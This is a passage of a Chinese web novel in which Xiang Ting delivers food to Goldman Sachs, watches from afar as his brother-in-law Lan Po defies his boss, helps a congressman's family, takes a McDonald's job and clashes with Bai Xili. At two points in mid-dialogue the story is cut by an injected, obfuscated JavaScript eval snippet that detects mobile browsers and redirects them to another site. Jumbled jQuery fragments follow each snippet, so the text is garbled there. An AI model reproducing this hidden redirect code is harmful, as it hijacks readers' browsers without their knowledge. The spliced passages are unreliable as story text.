前台小姐用内线联系,让这位员工取餐,可那头正占着线,便让项廷把东西留在接待处就行,饭钱会记在餐厅的账上。可人不下来,小费怎么给?线上付款还没这么普及呢。项廷选择在这坐一会。他闲着无聊,环顾大厅,终于在一块电子向导版那看到了“Goldman Sachs”的文字。越看越觉得不对劲,幡然醒悟,这不正是蓝珀名片上的公司么! 那张名片就在冲锋衣的夹层里,只要天气不是太恶劣,项廷随身携带,起到与蓝莓糖相同的作用,居安思危,警钟长鸣。 “请问,这个人在这上班吗?”项廷走过去,向前台出示名片,接着说,“我和他有预约。” 前台没被他唬着,检查了登记表,说:“不好意思,蓝先生一天的时间都安排满了。” “那他一天一般是从什么时候开始算起?” “6点。” “要是我明天早上6点差一刻过来,他有空见见我吗?” 前台小姐眼光诧异:“先生,我爱莫能助。” 项廷此时突发奇想见蓝珀一面,倒无关家里头的一摊糟事,兴许是为了以人为镜。以前,他把父亲视作榜样,所以参了军。 他发现,刚刚一见到名片,前台小姐的扑克脸松动了,差点叉走他的门卫连那站姿也慎重了。 亲眼所见,证实白谟玺没骗人,姐夫貌似真是当地的煊赫人物,在白人堆里混得风生水起,那姑且可以把他当作自己奋斗的动力,阶段性的目标。项廷眼下就坐在大厅里,可这大厅又那么地渺远、高傲、气派,姐夫在第几层上班?他午饭吃了吗?他平常都忙些什么?下班后他有没有特别的放松方式?他身上总有自己可以拿来主义,化为己用的东西吧?三分钟之内,项廷已经将他推敲了一百次,越推敲心跳越快,勃发自信,总有天超越他,而这种私德有亏的男人会成为自己成功路上越退越远的模糊面孔。 大厅里来来往往的上班族,有黑人,就没有一个亚洲面孔。黄种人就这个待遇。只有项廷反方向地想,为什么这些自称上帝选民的曼哈顿精英,生于斯,长于斯,然而在美国这块自己的土地上,也只能争到一个当文秘、接电话,替人跑腿等等廉价的打工饭碗?值得思考,值得同情。 研究起那张名片:LAN的三个字母后,跟着MD?什么缩写,妈的? 项廷去问前台,人家说的单词他没听懂。他双手合十做抱歉的动作:“我的英语很不好,麻烦你说慢一点。” “这些问题,请你与蓝先生的秘书联系吧。” 项廷有点失望地又坐了回去。 其实,假如他再多好奇一句:蓝先生的秘书叫什么名字?就会意识到整串事情巧得离谱。 投行部的大秘沙曼莎,即是这位下单的客人,此时正在三十七层等候蓝珀回来进一步指示,指示的内容除了几份协议的修订外,还有小费多少的问题。 公私分明,她可以帮忙订餐,但不会帮上司垫这个钱。而且蓝珀这人“有趣”至极,看不上几千股的微利业务,某对家由于业务规模较小,被他讥讽为“两元店”,他却对于到手的每一分钱斤斤计较。直白来说,又懒又抠。她才不要擅自决定给了慷慨的小费,反过来被这只铁公鸡啄一口呢。公事优先,暂时没讨论到饭钱,就苦了楼底下的项廷了。 12点半,蓝珀从战况激烈的大会议室出来了。刚刚回到办公室坐定,他金发碧眼的上司便不急不缓地来到:“Lan,我从未见过如此规模的业务价值贬损。” 费曼平素不苟言笑,整个集团就没一个人不怕他,不绕着他走的,好像他一出场便自带一串铁王座般的头衔,赫尔南德斯家族的风暴降生冷眼股海手持霜刃坐拥财富冰川资本寒域英国皇室三世不焚者以及Lan之boss。可蓝珀今天比他更冷淡。即使费曼是高盛史上最年轻的合伙人,合伙人可比董事总经理大一整级。但在这,最重要的会议临时召开,最重大的决定举手表决,最推崇的企业文化是“仆人式领导”。大家都以名字相称,没人在西装里穿马甲。费曼却始终忠于三件套和牛津鞋,他的英俊,正是散发出那种最为经典、最符合美国百年想象的英式魅力。 离开半小时,蓝珀坚信办公桌上已经积了灰,一边用薰衣草湿纸巾擦拭,一边头也不抬地说:“如你所闻,我对于这次发行和市场的看法有些差异。若此价格是竞争对手所能提供的最优报价,高盛能够为优质客户额外下调25个基点。” “你给董事会带来了可想而知的震撼,你的分析确凿无误吗?” 蓝珀说:“你这个人最大的毛病就是毫无想象力。你不能总是只想干那些既简单又利润丰厚的活,期待在这种机会的外头还包着厚厚的保护层。这就叫作胎盘,虽然在我老家那是一种充满魔力的圣物…好吧,离题了。总的来说,你管理上的瑕疵是不放权。坚持用老办法做被淘汰的生意,日复一日重复成千上万的琐事。每笔交易都要经过委员会的插手,我恨得牙痒痒。” “我们不够保守,个别员工就会失控。你今天点头之前未与我商量。” “那是由于没有进行正式投票,也就没有直接的反对。由于没有直接反对,我就大胆地做出了执行的决定。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398196|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 蓝珀以一种哲学家的口吻递进。 接着他做了个静音的手势,接电话,才听了半句话就皱眉头:“摩根士丹利以为他们是谁啊?说他们拥有你们?你们可是一个独立公司,完全配得上实力最强的投行,不必被历史限制住。” 通话挂没挂还不知道,蓝珀就无缝回到刚才的对话里:“既然没有投票,就没有被正式反对,所以我继续。” 在一阵长时间的单方面对视之后,费曼选择停战,发出午餐邀请。 蓝珀却说:“我约了大客户。” “我们相当一段时间没有共进午餐了,请你的客户割爱一次。” “我说出去的话就是我定的契约,布什来约,我也不能撤销我对客户的承诺。而且你得认知到你这是在要求我干两件事,就像你当初极力邀请我加入高盛。第一,我愿不愿意接这个活。第二,我能不能接受从塞多纳搬到纽约。并且通过工作结果来评价工作绩效,而不考虑我在纽约露面的时间,那我干——如果不同意咱们就拉倒。” 上司说服不了他,下属就更加没戏了。蓝珀常常催眠别人,决定都已经定了,潜台词就是他也无能为力,只能听之任之,就把所有人打发掉了。所谓你们的意见我都听到了,但是民主决策到此为止,然后他就宣布自己的一言堂。如果有人异议,不出三天就会惊悉,大伙争到最后,还是按照蓝珀的计划来的。 全世界都知道蓝珀是费曼的嫡系,但是大环境低迷,整个行业叫苦连天,蓝珀又连续两次小小失手。华尔街全长三分之一英里,一点风吹草动都不得了。传闻立刻说他过气了,谢幕了,晋升合伙人永生无望。业务难做,昔日同一个战壕里的战友之间的火药味便越来越浓了。蓝珀在办公桌下安装了一个脚踏板,只要踩下去就能自动关上办公室的门,把费曼堵在外头。 沙曼莎提醒一句,外卖到了。还是没拦住蓝珀说:“我这个人既没有什么大主意,也没有什么坏点子。这次我们会加快转手的速度,我们不会单相思。有句谚语:买得划算就等于已经卖出了一半。朋友,你看到了吗?啊钱!一刻不停地朝你来,但是这什么都说明不了。费曼,你要是再不停止往我喉咙里塞毒药,我马上辞职。” “请先不要急着走,想一想,离开高盛后你要去做什么?投身炼金,制香,调制魔药?你像一个货币巫师,还是去用炒股的钱去纽交所买个席位?Lan,有时你让我觉得是个无可救药的孩童。” 费曼身边一直在速记的秘书,从未听到处处完美的英籍老板如此言辞失当,不知道这句该不该写下来。 “那请成年人回家吃胎盘,如何?听着,就算我买了,这些钱里也没有一分是从买卖股票中来的。我是投资银行家,我从不放无的之矢。但凡我是一个投机套利者,稍稍用功一点,早就赚到了10倍于现在所有的钱了。” 蓝珀从桌子后面站起来,走过费曼身边,好像他根本不存在一样,径直走到交易室的中间。蓝珀没让他走,费曼就坐在沙发上一动不动。随时随刻,费曼的谈判气场都很强,令人不寒而栗。可他这时心里明白:蓝珀有阵子不会跟自己说话了。 又是一场不欢而散。离开蓝珀办公室,费曼的特别助理信息滞后,还来确认餐厅订哪一家,言下之意当然包括蓝珀。费曼评:“一个新颖的想法,留到逻辑和理性过时的时候再用吧。” 费曼一回去,蓝珀立刻说起外卖:“让他坐货梯上来。” 沙曼莎拒绝得理所当然:“显然这不符合管理规定。” 蓝珀更加天经地义:“我当然知道我们当中有个人会被行政部臭骂,但骂你比骂我强。” 沙曼莎只能去接人。蓝珀理了理袖子闭目养神。华尔街的陈规旧俗裹得他透不过气,他也许下礼拜就该回塞多纳去。他到现在还能收到印第安祭司和红衣大主教寄来的玛雅文明圣诞卡,他都离开那五年了。纽约就是信仰沙漠,快把人闷死了。 可只是等来了孤单单的外卖盒。项廷的下一单快超时了,等不了小费,十分钟前就走了。 沙曼莎翘着小指把中餐放在桌上,生怕沾上一丝油渍。她受够了蓝珀中国犹太人式样的唯我独尊,让哈佛商学院的毕业生做这些。 蓝珀似乎气得饱饱的,失去一切胃口的样子,翻翻闲书,给香薰机换了好几种精油,取出一支果味的电子水烟抽起来。不过这仅仅是人前表现的模样。沙曼莎一走,他便从柜子里取出一副银筷、一枚掐丝雕花的银制小食盅,以及一块与手帕的绣工图案一模一样的餐巾。 10. 我劝天公重抖擞 这单小费为0,且倒赔餐费的20%,连着后面三单都超时了,一毛钱没有,还被客人投诉了……中午这波忙碌的送餐高峰终于过去了。 时代广场的最后一单送完,项廷在路边买吃的。摊主印度人,反华,递热狗给他的时候装作手不稳,热狗给狗叼走了。几十年前的餐馆华人与狗不得入内,几十年后狗吃了华人也没得吃。项廷没说话,弯腰去捡店主扔回来的热狗钱,不知道怎么群情激奋被群起攻之,状况类似于古代犯人游街被丢烂菜叶子,三分钟之内学到英语里对中国人的八种蔑称及其变体。 再站直时,项廷发现自己猛然很爱国。以前服役的时候天天当刺头儿对抗组织,总以为爱国主义是一种姿态一种枷锁。现在呢,对祖国距离产生美了,我爱国那我就还是一个中国人,心灵尚且有一个支点,好像只要遥遥地仰望故乡的明月,希望便像月光洒下来。 心似黄河水茫茫。回来时项廷就在桥上站住了,看远处的布鲁克林大桥,看自由女神像,看下面高速公路上来来往往的甲壳虫。却觉得远远近近的风景他已看倦,闭了眼也能在心里描摹出是什么样子。走进小巷子,他突然想着有人会跳出来,用枪逼住了他,要是真碰着,那么千篇一律的黑工生活里也有点刺激,可偏没有。 是的,全纽约也只有那栋他上不去的高盛大厦浪漫诱人,与金光闪闪的姐夫相比,现在的自己简直像个穴居的山顶洞人。项廷第一次想用金碧辉煌来形容一个人,很奇怪,可他无形中已把蓝珀与那大厦融为了一体。 昨天赚了五十块钱,本想着和今天的五十加一起,凑成百,到银行换一张漂漂亮亮的新钞。计划落空。他一口袋全是硬币,数一数,九块五。要是有人来打劫就拿去好了,九块五,还没有姐夫打个响指的十分之一的时间赚得多。 想到热狗。一会,项廷想象着,如果有一种神奇的药剂把皮肤漂白头发染黄,那在白人社会中也许就得到了一种最起码公正的命运,明年春天就能把姐姐接来享福,美国医生也能把爸爸的病治好了。可他马上惊醒,蓝珀又是怎么做着本本正正的中国人还当人上人的呢?他可真狂,英文名都不取一个,逼着洋人叫他Lan,就在你脸上甩个斗大的中国字,你爱叫不叫。 下午两点,项廷给议员家里送去一束鲜花,以及试吃装的一升中国米。议员的夫人戴莉是拉丁裔,偶然说过一次,爱吃米饭。项廷就特别从唐人街给她代购了一个电饭煲,还特意找来了进口的宁夏珍珠大米。 戴莉开门时脸上就显着高兴,像见了多久不见的朋友。项廷手指从前额到胸膛,再从左肩到右肩画十字,他记得戴莉信仰天主教。告别时,戴莉却发现这孩子的微表情不寻常,就招呼他进来坐坐,让仆人送上两杯热可可,问他是不是有心事、有困难? 项廷英语水平有限,怕表达不当,像无事生非,动机不良,心里微妙的挫败感,草地上打几个滚翻几个跟头消化一下不就没了吗?最重要的是他心里有个骄傲的声音在反抗着说,不能轻易求人。就说没事。 戴莉是康奈尔大学的心理学教授,很有耐心,项廷听不懂的单词她会在纸上写给他看,或者让家里略通中文的日本花匠来帮忙。她有点像在研究小鼠的行为学:“你通常收到钱后会放进上衣的口袋里,而今天你却把钱塞到了裤子的后兜里,有什么特别的原因吗?” 项廷说:“哦!您今天给的太多了,我想把它放到慈善箱里。裤子口袋安全点,别和留的晚饭钱搞混了。” “慈善箱?街口教堂前面的那个吗?”伯尼议员从楼梯上下来,听到了两人的对话。 项廷站起来向男主人问好,一边解释:“是唐人街的慈善箱。那个我跟您提过的师傅,教我做菜的那位,他女儿上周确诊了白血病。我动员大家,一起捐钱帮他。” 伯尼听了若有所思。项廷说:“您还抽烟吗?” “戴莉不让我抽。但我现在很想来一根。” 项廷递给他一根烟。伯尼自己点上,深深吸了一口,随即咳嗽起来。他笑了笑,把烟在杯托上摁灭了,问道:“那么现在募集到多少钱了?” “我早上走的时候数,快三千。” “三千美金?你的团队有几个人?你们是怎么办到的?” “目前为止就我一个。”项廷有点窘迫地说,“我帮人打杂,什么都做。到码头搬货,给工人带煮毛豆和白酒,我自己烧的荷叶鸡,就说是老赵烧的。一有老板新店开张,我就去表演功夫。我不要钱,可大家也不好意思不捐。” “等一会,你会功夫?” “皮毛而已,但花架子够了!昨晚上联欢会,他们唱戏,我扮武生,把大家都骗了。” “唱戏?” “Beijing Opera!” 戴莉上个月出了车祸,虽然项廷把洗衣店的大婶介绍过来当按摩师之后,脖子好了许多,但她还是戴着一个肉色的颈托。否则她这时会转过脸,吃惊地看着项廷。伯尼展现出政客式的不动声色,听后仅仅是点点头。空气一时沉默,项廷以为自己说错了话,中西差异这么大,他可不大懂美国人心里在想什么。 仆人端上茶点,项廷转头道了个谢,目光顺势移到了窗外,马蹄铁形状的别墅拥着的那块青蓝色的水池。 伯尼似乎随口一提:“上午我们铺了鹅卵石,还重新装修了游泳池,泳池灯却怎么也点不亮,可修理工都受不了氯消毒剂的味道。” 项廷一向热心,直接站起来:“扳手在哪?我去看看。” 戴莉说:“请先坐下来,我让他们把水抽干。” 项廷等下要回唐人街,时间有点赶,他就说:“不用不用,修的时候不泡水,怎么知道泡了水亮不亮?” 伯尼静观其变。只在十分钟后,听到项廷在外头高高兴兴的一句“OK”,他才向窗子看了看。 一排外型和地埋雷差不多的水下灯全亮了,水池五光十色。 戴莉赶紧让仆人送干毛巾和热茶过去,怪着丈夫:“为什么要这样捉弄一个孩子呢?昨天外面还下了雪。” 伯尼说:“你那学术的大脑把一些问题看得太简单了,什么话都信。这个不知天高地厚的中国小子说,在唐人街受到排斥丢掉了工作,可不过几天时间,他就从一个与他对立的势力、一个怀有敌意的党派中筹到了三千美元。在那帮东方偷渡客的圈子里,这已经是很了不起的数字。如果是真的,这种人才加入我的团队,跟着行动委员会募集竞选资金,一定会成为下届总统的得力幕僚。” “太疯狂了,我当然没有轻易就信。但你这样考验他也证明不了什么,天啊,你有没有看到,他的手臂都冻得发青了。” “那去翻看他的慈善箱?这太冒昧。一个个地问别人他是否有口皆碑,和中国人打交道更不在我的考虑范围内;不过能在水下憋着气,自如地冬泳这么久,真的很不简单,正如他自己所说,可能确实掌握了一点神奇的中国功夫吧?中国功夫是永远无法作假的。” 北美地区对李小龙的崇拜、乃至迷信,远超国内想象,绝对称得上深入骨髓,影响了至少三代美国人。迄今李小龙去世整整十六年,电影和纪录片不断重新发行,各类纪念活动一年不落,全年龄段粉丝数不尽,年少时期的伯尼曾是其中狂热一员。 项廷冲了热水澡。戴莉本来拿了孙子的衣服让他穿,可想到孙子英年早逝,觉得不吉,便换成了小儿子的圣诞毛衣。项廷套上毛衣,大小正好,刚要走,伯尼叫住他:“孩子,感谢你做的一切。为了报答你的善意,有什么可以帮到你之处?” 看项廷迟疑了,伯尼说:“我对中国文化有所了解,东方的男性非常看重自尊。但是在美国,这里的生存法则不同,虽然孩子们的童年结束得更早,但即便一个成年人开口寻求帮助,也绝不是一件可耻的事。” 如果只是因为一层李小龙滤镜,伯尼哪里就至于对一个中国穷小子操心到这个份上了?实际上,他还是对那三千美金半信半疑,但为了项廷那或真或假的华人社群中的号召力,他愿意释放出目的性极强的有限善意。一切只因有目共睹,亚裔的政治地位逐步提升。去年日裔丹尼尔井上在参议院的地位令人称羡,今年二月第一位华裔赵美心担任了加利福尼亚州的州务卿。所以他把项廷当成亚裔代表、关键选民对待,期待他当上了某种程度上的意见领袖时,借着他向亚裔群体植入政治思想。这两天伯尼眉头上的愁云惨雾,源头便是难以管理的亚裔社区。简单点说,伯尼看上了项廷这只股。 伯尼家的大狗遛弯回来,亲热地把项廷一头撞倒在沙发上。项廷用特殊能力救过它母子一次。 项廷被大狗蹭来蹭去的时候,也渐渐打开了话闸。他掏出蓝珀的名片,双手正式地摆在桌上,坦言道:“我想成为他,我该怎么做?” 伯尼居然知道蓝珀!项廷听他有名有姓地念出来两枚中文,字正腔圆,心里佩服了蓝珀一瞬。牛,MD,扬我国威,堂堂中国四方来朝! 伯尼接着说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398197|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这是个享尽特权的人物,与曼哈顿的大小权贵、股东、企业家们谈笑风生。” 项廷愈觉,从今往后,姐夫此人要一分为二地来看,辩证地去看了。 伯尼没回答他笼统的提问,只说:“什么时候去上学?” “学费攒够了,材料还差着,您帮我看一下这个。” 白谟玺的推荐信,项廷对着字典比照过,确定他字面意义上没出幺蛾子,但是最保险还是找个本地人把一下关。 伯尼看到落款,如同被强烈的阳光晃了一下眼睛,天崩地裂,竟是怀特家族的长子。 伯尼的政治面孔出现一道细微裂痕,此子果不其然不可小觑。可看看项廷,他好像根本不知道这签名的含金量,正一脸紧张地等答案。 伯尼说:“写得非常正面。” 项廷晓得,美国人精神大跃/进,什么都爱往大了说,什么都good,6分吹成10分。项廷再次向伯尼确认。 “Moses做了强有力的背书,凭借它谁都将在激烈的竞争中脱颖而出。”伯尼将纸翻过来,笑着说,“非说有何不足的话,除了他的钢笔看上去不太好写之外!” 项廷连连感谢伯尼夫妇。看一眼时钟,秦凤英4点约他在茶楼见面,要来不及了,忙站起来。 伯尼奇怪地看着他,以为是暗示得不足。美国在人情的方面已经实现了商业化和品牌化,只是他们动用关系的门槛比较高。伯尼现在情愿为项廷注入一笔人情上的小投资,一个议员完全有权明箱操作些什么的。他道:“康奈尔大学的现任校长是戴莉从前的博士生。” 戴莉为了学生自豪,谈到他连选连任,与布什总统和众院的一些保守派议员也亲如一家。总统大选前布什还到我们学校来演讲,布什赞校长治校有方,校长夸布什治国英明。 然而项廷不为所动:“先生,夫人,真不知道怎么谢你们。但我的英语太差了,客人点菜我都会搞混。听说美国的学校易进难出,靠着走后门进去,我怕不到两个月就被开除了,丢中国人的脸,也让你们和推荐我的人难堪。一步登天容易踩空,登高跌重,中国有句古话:‘高者不胜寒,深者不胜渊’。” 项廷的词汇量就那么多,边说边比划。伯尼平静地等他说了挺久,问他这句话出自哪里?项廷就知道爸爸被“整过”以后,常挂在嘴边,感觉自创的。想说是一个将军说的,将军的单词不会说,换成战士。 戴莉合上大腿上一本佛罗伦萨文艺复兴的权威著作,走到客厅的书架前,取下一本厚重的书:“亲爱的,以后你常来坐坐,哪怕不聊天,看看小狗,把这当作图书馆也好。这本书带回去吧,也是一个共产主义战士的奋斗故事。” 项廷拧开门把手正要出去,伯尼给了他第二次机会,这次说得很直白:“这可是康奈尔大学。” “我不够格,去了不踏实,脚上的泡要自己走出来才踏实。对了先生,康奈尔有没有高中可以收我?” “真的不心动吗?” “知多知少难知足。”这句是老赵教的。 伯尼笑道:“好吧,我会和康奈尔的语言学校打一声招呼。” 大狗不舍地呜呜叫着,一直送到项廷上了餐车。他来时戴莉夫人心里暖和,走时那样子戴莉瞧了也是慈爱地一笑。因见项廷刚刚一出门,便握着拳屈肘向下一砸,打了大胜仗一样,痛快地说了声“Yes!”水池的灯光绚烂如同舞台,路过的主角乐得能蹦三尺高,要上九天揽月去似得。项廷捧着戴莉送给他的书,《The Making of A Hero》——钢铁是怎样炼成的?他此时此刻自信满满,全世界共产主义战士无产阶级者你们联合起来睁大眼睛看好了,钢铁,就是我项廷这样炼成的! 所以最后的那件事——有这么值得高兴吗?戴莉夫人反过来也不明白中国人了。临走前,学校的事上,项廷的三辞三让,激将法一样使得伯尼更想卖他一个人情,非拉拢不可了。你想要什么?伯尼让他自己说。项廷最后说了什么呢?这就好比有一盏阿拉丁神灯放在你面前,你说给我一个窝窝头。 他说,我不想打黑工了,B2探亲签又办不了工作证。 伯尼当着他的面打通移民局电话。对面一切情况都没问,直接说你想去哪?牙科诊所、律师事务所,还是投资银行?放心,我们美国自古以来不拘一格降人才,人才在哪哪都是合法的! 项廷说,麦当劳。 姐夫天天上班的,他楼底下的,麦当劳。 11. 少年维特之烦恼 项廷到了茶楼,见到秦凤英,一同商量老赵的事。 善款共计三千元,秦凤英出了一千五,项廷筹了剩下一半。昨天他把这一半交给老赵。老赵回家路上被人打劫一空,被揍到走路一瘸一拐。 结账的时候,秦凤英说:“小鬼头,你才来几天都不知自己姓什么了。我找了个医生咨询了一下,起码得十万。这事不用你费心了,好好挣你的媳妇本儿吧。之前姐家里忙,没顾上你,对不住啊。你这两天都忙什么呢?你这么能干个人,别消沉,打工赚钱也好,做小生意也好,再不咬紧牙关去读个什么专业也好。姐这儿还有个家政公司,你去不去试试?” 项廷当然不去。这跟孟母三迁一个道理,项廷要出了华人的舒适圈,直接到美国人堆里浪里白条,华尔街往来可无白丁。中餐厅工资每小时2.5,联邦最低工资标准3.35,麦当劳折合下来4.9。待遇翻了一番, 而且,见姐夫方便。 于是他婉拒了秦凤英。秦凤英仍把家政公司的传单塞过来:“不能不留条后路。” 千算万算失算,蓝珀上班,全凭心情。白谟玺因十万火急公事联系他,一天后得到回复:古老星辰之语,永恒而不欺,六重幽冥无月夜降临尘世,于此时刻,凡人听从宇宙低语,众生守护灵府之安,勿让尘足踏出门庭。夜深人静,电话那边有种沙沙的声音,好像是蓝珀在玫瑰园中漫步,穿一条棉花那样白的雪纺长裤,如同法国贵妇人午后接客时穿的曳地长裙,轻轻拂过落花,时光中的仙子,尘埃世界的舞者,人形条帚似得。 项廷怀着一颗正大光明的事业心,决心缓和家庭关系,便给蓝珀打电话。好几次都是忙音,他以为姐夫很忙,过会再打。一旁炸薯条的墨西哥小伙提醒,你被拉黑了。 项廷有点儿上火又困惑,心想我真就那么讨你厌吗?你是我的姐夫,我是你的小舅子,我也没有犯下什么十恶不赦的事情吧?就惹得你六亲不认,彻底和我划清界限了吗?又不是找你借钱,你上回借我的一千二百块,知道你毛病多,怕你嫌我的钱脏,我一大早就去银行换了十二张连号的崭新整百,现在想还给你都找不到人。 想着,他把牛肉饼递给前面的人,夹在面包里,再放上西红柿、生菜,配上小食和一杯饮料,一份快餐就完成了。几个人排成一线,流水作业,项廷在最后面。 麦当劳的工作就这么无脑。煎炉的信号灯自动控制闪灭,肉饼一放上去,2分钟计时器就会响第一次,赶紧用锤子压一压肉。计时器第二次响,翻个面。再过1分45秒,可以出锅了。 炸薯条更是无敌傻瓜操作,油锅168℃,重新上升3℃后是薯条最好吃的时候,3℃温差的瞬时感知器报警。项廷走个神,琢磨会姐夫再去捞薯条都来得及。 只要客人长着张华裔脸,项廷便把冰激凌多打半圈,可乐装满一点,麦乐鸡多给一块。很快发现没必要,饮料自动续杯,汉堡个头太大,客人吃几口就不要了。刚刚那波薯条过了七分钟,机器响铃,代表要扔了。 美国的粮食如此过盛!项廷想起父亲讲过,42年河南大饥/荒,饥民们吃光了树皮草根后,到处找观音土充饥,结果很多人活活胀死。人在中国听故事的时候不以为然,怎么偏偏到了美国忽然觉得特别有共鸣,跟广大同胞的苦难联系得那么紧密了呢? 午休,项廷去盥洗室,用冷水洗洗脸,放松放松。听到两个课余打工的高中生在外边,靠着盥洗室的门,讲他坏话。 原因是项廷收拾餐桌的时候,和客人闲聊了两句。客人说:“我来自Austria,你知道在哪嘛?”项廷教着客人的小孩玩玩具,一边说:“知道啊,在欧洲中部啊。维也纳那么有名,音乐之都,克林姆特,弗洛伊德,怎么会不知道Austria?”客人说:“哇哦,中国人真棒,美国人是不会知道的,他们只会说哦真棒,你们那有袋鼠。” 两个高中生嘴臭个没完。任尔东西南北风,项廷只想我是来学英语的,你用英语骂我就是我赚到了 。洗完脸,开门大大方方当着他们的面出去了。 形形色色的歧视见多了,项廷一笑了之,心想龟兔赛跑,骄兵必败,你国迟早要完。我们中国人见到别人聪明,便想见贤思齐,师夷长技以制夷。你们美国人却只会想老子是宇宙中心,曼哈顿世界圆心,老子干死你。 项廷觉得,其他同事对他还算正常,就那俩高中生小家子气。美国高中是个特别有毒的环境,学校大屏轮播公益广告,呼吁大家不要虐待聪明同学。不过上了大学就分流了,真是幸好他没来这边读高中。 总之此事后,项廷因为分得清奥地利和澳大利亚,被大家尊称nerd,时常遭到很傻很天真的霸凌。可项廷越是被欺负,他的民族自豪感就越强烈,且越觉得蓝珀吾辈楷模。蓝珀的牛逼,如一束激光,毫不留情地射穿了全体美国人的心脏,连他拉黑自己都隐约有了几分道理,毕竟高人都深不可测,道可道非常道。自己没出息的时候,就不要怪别人小看了。 再之后,大家聚在一块讨论地球是否是平的,项廷不说话,他们就站起来鼓着胸大肌撞他,非叫nerd讲个道道。项廷谨记才不外露,一张嘴就弄混了麦哲伦和哥伦布。当场项廷受邀参加一个大型派对,当晚成为众人瞩目焦点。 停车场每天要冲水;垃圾桶每天要刷洗;每隔一天必须擦一遍全店所有的不锈钢器材;每星期天花板必须打扫三次…与煲煲好的工作强度比起来,这都不叫事。有时候实在被高中生吵烦了,项廷就拿起一把退役的V型薯条铲去对付店门口路面的口香糖。 只有一件事,让他有些头疼。 进入这家麦当劳明星店,一块巨大菜单牌映入眼帘,菜单底部写着“微笑0元”。在这,笑容就像是货物一样,从头到尾都得带着微笑服务。项廷连续笑了一个礼拜,活受罪,脸都快僵住了 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这个星期店长安排他做早班,五点半上班。早班只有三个人做,在大部队来之前要完成十八大件事,事都按顺序写在一张纸条上,墙上贴着。店长指了那纸条问他看不看得懂,他说当然懂,心里想着明天早上带本词典来。 五点,项廷在自动计时器上打了工时卡,打开冷藏室的门把生菜西红柿搬出来,用机器把包菜切成丝,拌了鸡块。忙到六点差不多了,他把一个苹果几口吞了。为了随时迎接可能到来的客人,他就在餐厅的座位上边吃面包边等着,但是脸朝着厨房的方向,附带照看一下厨房的封闭电油炉。 麦当劳的门被推开了,却没有多少声音。进来一个蹑手蹑脚,然而眼神放肆的圆脸男孩子。 经过夜以继日的努力,在主动损失了两个利益点的前提下,白谟玺挽回了那笔大生意。白谟玺还没有把责任归咎于蓝珀,弟弟白希利先忍无可忍了。他今天是来代表家族找蓝珀谈判的,读作谈判,写作宣战。出门太早,肚子很空,进来找点吃的,顺便观察敌情。 白希利一进门没见到别人,唯一的人背对着他。白希利第一眼只看到对方坐着的腿,那么长的腿,长腿屈着快跟座椅扶手差不多了,系着围裙的腰挺窄,腰窄是肩宽衬托的。 项廷听到动静,起身面带微笑为他服务:“早安,欢迎来到麦当劳!来杯热咖啡唤醒您美好的一天吧?” 只见白希利瞪着他的眼睛足有一码大,却没见着白希利紧张得指甲在手心扎出了一连串的小月牙痕。 白希利点了一份套餐。叫他取餐他不来,项廷送到餐桌上。谁知白希利毫无征兆地把餐盘往前一推,刚出锅的薯条全撒到了地上。 项廷见他一身美国私立高中的制服,就知他的脑残是天经地义的。保持微笑,俯身收拾。 好巧不巧,手帕从口袋里掉了出来。 白希利立马弯下了腰。说时迟那时快,接下来他的一串动作虽迅如闪电,却流露出一种淡淡的仪式感。 白希利捡起手帕,不假思索,用它盖上了那满是可乐和番茄酱的桌面,风卷残云,一顿狂擦。 12. 绿云金簇小蜻蜓 白希利今天能够成功逃课,归功于全家上下的忽视。 怀特家族非常注意效仿宫廷的生活方式,一到春暖花开的日子,就住到莫宏克山庄的古堡去。可白谟玺全身心沉浸在曼哈顿的罗曼蒂克里,全然背弃了他们神圣的迁徙路线。 甚至爸爸也把蓝珀当香饽饽,把祖产交给他打理。蓝珀成为代理人上头版的那天,州报清早就被抢空。 蓝珀仿佛把世界上所有关心他的人都撬走了。 那天,白希利就躲在窗帘后面,偷听得一清二楚。他瞧见项廷掏出的手帕,跳大神风格的刺绣,蓝珀办公室的橱柜里多的是。 白谟玺不但包容这些委琐怪异的小脾气,甚至一看别人手里攥着它就不爽了。 白希利娇生惯养,又自视很高,可他也像所有人一样生来具有追求幸福的本能。而现在,只因他弄脏了手帕,甚至没有表现出故意的样子,项廷就顶着一张让自己一见倾心的脸,锁着一双剑眉,额头上几根青筋,在一片沉默中鼓涨,到了要动手的边缘。 白希利的声音既洪亮,又有劲:“干嘛盯着我?再来一份薯条!” 项廷面无表情,逼近一步:“还给我。” 怀着一腔报仇雪恨的思想,白希利不仅不还,还把手帕往地下狠狠一掷,脚踩上去反复摩擦:“地也脏了,帮你擦擦!” 项廷去捡,可手帕被白希利紧紧踩住。 “脚抬起来。” “凭什么啊!” “那你起来。” 下一秒白希利双脚离地,他长这么大头一回被人抓着脖领子提到半空,对方还是单手拎的!想要哇哇大叫,可是声音被困在喉咙里,怎么也出不来,透不过气真要窒息了! 项廷把被践踏成了一块破布的手帕捡回来,小心翼翼地拍掉脏东西,仿佛在为它抚平被蹂躏的痕迹。 白希利被拎起来时像一个毫无重量的气球,被扔下时如同一片干瘪的秋叶。白希利倒在地上直接被吓出嗝来了。眼见着,项廷奔去后厨洗手帕了,这才意识到他压根没认出自己来。那天窗台外的遥相顾,终究是错付了。 